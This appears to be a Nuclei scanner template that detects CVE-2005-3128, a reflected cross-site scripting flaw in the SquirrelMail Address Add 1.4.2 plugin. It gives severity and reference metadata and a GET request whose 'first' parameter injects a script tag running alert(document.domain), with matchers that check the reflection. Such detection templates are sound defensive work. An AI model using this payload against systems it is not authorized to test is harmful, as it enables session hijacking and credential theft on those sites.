SquirrelMail Address Add 1.4.2 - Cross-Site Scripting

id: CVE-2005-3128

info:
  name: SquirrelMail Address Add 1.4.2 - Cross-Site Scripting
  author: dhiyaneshDk
  severity: medium
  description: SquirrelMail Address Add 1.4.2 plugin contains a cross-site scripting vulnerability. It fails to properly sanitize user-supplied input, thus allowing an attacker to execute arbitrary script in the browser of an unsuspecting user in the context of the affected site. This can allow the attacker to steal cookie-based authentication credentials and launch other attacks.
  remediation: |
    Apply the latest security patches and updates from the vendor to address this vulnerability.
  impact: |
    Attackers can execute arbitrary scripts in the victim's browser, leading to session hijacking or defacement.
  reference:
    - https://www.exploit-db.com/exploits/26305
    - https://nvd.nist.gov/vuln/detail/CVE-2005-3128
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N
    cvss-score: 5.4
    cve-id: CVE-2005-3128
    epss-score: 0.03436
    epss-percentile: 0.8742
    cwe-id: CWE-80
  metadata:
    max-request: 1
    verified: true
  tags: cve,cve2005,xss,squirrelmail,plugin,edb,vkev,vuln

http:
  - method: GET
    path:
      - '{{BaseURL}}/plugins/address_add/add.php?first=HOVER%20ME!%3C%2Fscript%3E%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E'

    matchers-condition: and
    matchers:
      - type: status
        status:
          - 200

      - type: word
        part: body
        words:
          - "</script><script>alert(document.domain)</script>"

      - type: word
        part: header
        words:
          - "text/html"
# digest: 490a004630440220239f527c7eec90c3d019091643d733b9cdd9272aada49d14fd5d0224dcd89f8102204bf081f7eb577e12ab4a5e532d0fd8b1309ef001876b03a0bd3f91cbf1381e9b:922c64590222798bb761d5b6d8e72950